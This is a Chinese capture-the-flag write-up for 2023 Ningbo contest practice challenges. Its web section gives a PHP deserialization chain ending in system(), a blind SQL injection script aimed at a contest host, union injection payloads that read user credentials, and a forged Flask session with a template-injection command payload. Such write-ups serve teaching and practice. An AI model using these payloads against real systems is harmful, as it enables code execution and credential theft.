2023宁波市赛 天一永安杯赛前模拟题部分wp

Web

pop

进hint.php

伪协议读index.php

class Tiger{
    public $string;
    protected $var;// 恶意参数
    public function __construct($var){
        $this->var = $var;
    }
    public function __toString(){
        return $this->string;
    }
    public function boss($value){// 0
        @eval($value);
    }
    public function __invoke(){// 1
        $this->boss($this->var);
    }
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function(); // 2
    }
}


class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
        echo "Welcome to ".$this->head."
";
    }
    public function __wakeup(){//0
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){// 4
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;// 3
    }
}

if(isset($_POST['zoo'])){
    @unserialize($_POST['zoo']);
}
$pop = new Monkey();
$E = new Elephant();
$pop -> head = $E;
$L = new Lion();
$L -> tail = new Tiger("system('tac /f14g');");
$E -> nice = $L;
$a = urlencode(serialize($pop));
echo "\n";
echo $a;
// unserialize(urldecode($a));

//O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A20%3A%22system%28%27tac+%2Ff14g%27%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D

babyweb

注释都给过滤了,我一开始没注意,费老半天劲不知道在干什么

然后直接闭合1’or 1='1可以回显

这里一开始就想着盲注了,后来才发现union也可以

import string
import requests
url = 'http://040bac98a927037e.node.nsctf.cn/index.php?id=1'
dic = string.ascii_letters+string.digits+'}{-,_'
xxx = ''
for i in range(1,666):
    
    flag = True
    print("正在注入第{}位".format(i))
    for j in dic:
        # payload = "'/**/%26%26if(substr(database(),{},1)=binary'{}',1,0)%26%26/**/1=/**/'1".format(i,j)
        payload = "'/**/%26%26if(substr((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer),{},1)=binary'{}',1,0)%26%26/**/1=/**/'1".format(i,j)
        res = requests.get(url=url+payload)
        if '的人名字叫bob' in res.text:
            xxx += j
            flag = False
    print(xxx)
    if flag:
        print(xxx)
        break

    # 数据库 web2
    # 表 atable flag users sys_config

过滤information了

得无列名注入

-1'union/**/select/**/1,(select/**/`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/flag)a/**/limit/**/1,1),3'

读账号

-1'union/**/select/**/1,(select/**/`1`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users)a/**/limit/**/1,1),3' 

读密码

-1'union/**/select/**/1,(select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users)a/**/limit/**/1,1),3'

进login.php登录就拿到flag了

flask

一开始以为ssti,试半天发现怎样都不能注入

扫目录

source in /source"
        return rsp


@app.route('/source')
def source():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index('source'):]


@app.route('/admin')
def admin_handler():
    try:
        role = session.get('role')
        if not isinstance(role, dict):
            raise Exception
    except Exception:
        return '~~~~~~hacker!'
    if role.get('is_admin') == 1:
        flag = role.get('flag') or 'admin'
        flag = filter(flag)
        message = "%s, I hope you have a good time!your flag is " % flag
        return render_template_string(message)
    else:
        return "I don't know you"


if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

进admin session伪造

eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZFjw1A.zbhScChV5emlcs855_qO2RnToVQ

然后此处存在ssti

payload如下

eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJmbGFnIjoie3tsaXBzdW0uX19nbG9iYWxzX18ub3MucG9wZW4oJ2NkIC4uO2NhdCBmKicpLnJlYWQoKX19In19.ZFj8cQ._J4XAqO3oSWZR9tf9q-p2MDJCzY

Crypto

ezcal

rsa数学推导

re

Empathy

核心代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Str2[64]; // [rsp+20h] [rbp-60h] BYREF
  char Str1[256]; // [rsp+60h] [rbp-20h] BYREF
  char Str[256]; // [rsp+160h] [rbp+E0h] BYREF
  int v7; // [rsp+260h] [rbp+1E0h]
  int k; // [rsp+264h] [rbp+1E4h]
  int j; // [rsp+268h] [rbp+1E8h]
  int i; // [rsp+26Ch] [rbp+1ECh]

  sub_401D30(argc, argv, envp);
  puts(&Buffer);
  printf(&Format);
  memset(Str, 0, sizeof(Str));
  memset(Str1, 0, sizeof(Str1));
  scanf("%s", Str);
  v7 = strlen(Str);
  if ( v7 != 38 )
  {
    printf(&byte_40504D);
    exit(0);
  }
  for ( i = 0; i < v7; ++i )
    Str[i] = ~Str[i];
  for ( j = 0; j <= 99; ++j )
  {
    sub_401550(&Str[(j + 5) % v7], &Str[(j + 2) % v7]);
    sub_401550(&Str[(j + 1) % v7], &Str[(j + 7) % v7]);
    sub_401550(&Str[(j + 3) % v7], &Str[(j + 10) % v7]);
    sub_401550(&Str[(j + 8) % v7], &Str[(j + 9) % v7]);
  }
  sub_401588(Str, Str1, 0i64);
  Str2[0] = 51;
  Str2[1] = 102;
  Str2[2] = 39;
  Str2[3] = 60;
  Str2[4] = 39;
  Str2[5] = 45;
  Str2[6] = 40;
  Str2[7] = 18;
  Str2[8] = 36;
  Str2[9] = 107;
  Str2[10] = 109;
  Str2[11] = 17;
  Str2[12] = 36;
  Str2[13] = 61;
  Str2[14] = 113;
  Str2[15] = 25;
  Str2[16] = 48;
  Str2[17] = 4;
  Str2[18] = 39;
  Str2[19] = 4;
  Str2[20] = 36;
  Str2[21] = 19;
  Str2[22] = 43;
  Str2[23] = 60;
  Str2[24] = 38;
  Str2[25] = 45;
  Str2[26] = 109;
  Str2[27] = 21;
  Str2[28] = 51;
  Str2[29] = 107;
  Str2[30] = 104;
  Str2[31] = 61;
  Str2[32] = 38;
  Str2[33] = 45;
  Str2[34] = 63;
  Str2[35] = 7;
  Str2[36] = 39;
  Str2[37] = 107;
  Str2[38] = 105;
  Str2[39] = 18;
  Str2[40] = 53;
  Str2[41] = 106;
  Str2[42] = 18;
  Str2[43] = 21;
  Str2[44] = 51;
  Str2[45] = 7;
  Str2[46] = 13;
  Str2[47] = 59;
  Str2[48] = 51;
  Str2[49] = 45;
  Str2[50] = 7;
  Str2[51] = 99;
  for ( k = 0; k <= 51; ++k )
    Str2[k] ^= 0x5Eu;
  if ( !strcmp(Str1, Str2) )
    printf(&byte_405060);
  else
    printf(&byte_405081);
  return 0;
}

解密脚本

import base64
Str = []
Str.append(51)
Str.append(102)
Str.append(39)
Str.append(60)
Str.append(39)
Str.append(45)
Str.append(40)
Str.append(18)
Str.append(36)
Str.append(107)
Str.append(109)
Str.append(17)
Str.append(36)
Str.append(61)
Str.append(113)
Str.append(25)
Str.append(48)
Str.append(4)
Str.append(39)
Str.append(4)
Str.append(36)
Str.append(19)
Str.append(43)
Str.append(60)
Str.append(38)
Str.append(45)
Str.append(109)
Str.append(21)
Str.append(51)
Str.append(107)
Str.append(104)
Str.append(61)
Str.append(38)
Str.append(45)
Str.append(63)
Str.append(7)
Str.append(39)
Str.append(107)
Str.append(105)
Str.append(18)
Str.append(53)
Str.append(106)
Str.append(18)
Str.append(21)
Str.append(51)
Str.append(7)
Str.append(13)
Str.append(59)
Str.append(51)
Str.append(45)
Str.append(7)
Str.append(99)
res = ''
v7 = 38

for i in range(0,52):
    Str[i] ^= 0x5E;
    res = res + chr(Str[i])
bd_res = base64.b64decode(res)

res2 = []
for i in range(len(bd_res)):
    res2.append(bd_res[i])
    
def swap(a1,a2):
    tmp = res2[a1]
    res2[a1] = res2[a2]
    res2[a2] = tmp
for j in range(99,-1,-1):
    swap((j+8)%v7, (j+9)%v7)
    swap((j+3)%v7, (j+10)%v7)
    swap((j+1)%v7, (j+7)%v7)
    swap((j+5)%v7, (j+2)%v7)
flag = ''
for i in range(len(res2)):
    res2[i] = 255 - res2[i]
    flag += chr(res2[i])
print(flag)

misc

welcome

追踪tcp流导出rar包

得知密码是da19b65c17dc

解压得到flag

misc1

追踪tcp流,导出zip包

里面一个password文件一个加密的文件

password文件尾是jpg

补个文件头FF D8

然后爆破宽高

改720

发现类似密码的东西

拿去解压缩包发现不对,一个个隐写工具试过去

发现steghide可行

得到密码

NjBjNDk3YmMxOTM4YzhkNA==

60c497bc1938c8d4

解压得到flag